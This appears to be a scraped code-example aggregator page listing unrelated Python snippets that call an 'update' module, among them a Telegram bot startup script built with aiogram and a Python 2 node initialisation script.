data = u.Data
print("Serialized: "+ser)
u.Deserialize(ser)
예제 #19
0
# Модулі
import logging

from aiogram import Bot, Dispatcher
import asyncio

# Файли
import config
import update
import checker

TELEGRAM_API_KEY = config.TELEGRAM_API_KEY

# Логування
logging.basicConfig(level=logging.DEBUG)

# Ініціалізація
bot = Bot(token=TELEGRAM_API_KEY)
dp = Dispatcher(bot)

# Запуск
if __name__ == '__main__':
    update.Update().update()
    checker.delete_old_chatlog()
    asyncio.get_event_loop().run_until_complete(checker.checker())
예제 #20
0
파일: init.py 프로젝트: awvaarua/nodo
import json, pprint, config_request, time

time.sleep(5);

config = config_request.config['data']

if config == None:
	import check_pendiente
	pendiente = check_pendiente.check.get('pendiente',None)
	if pendiente == None:
		import initial_request
else:
	scripts = config.get('scripts', [])
	import update
	for script in scripts:
		update.Update(script.get("pid", "0"))
	print "fin"
예제 #21
0
 def update(self):
     self.close()
     update.Update()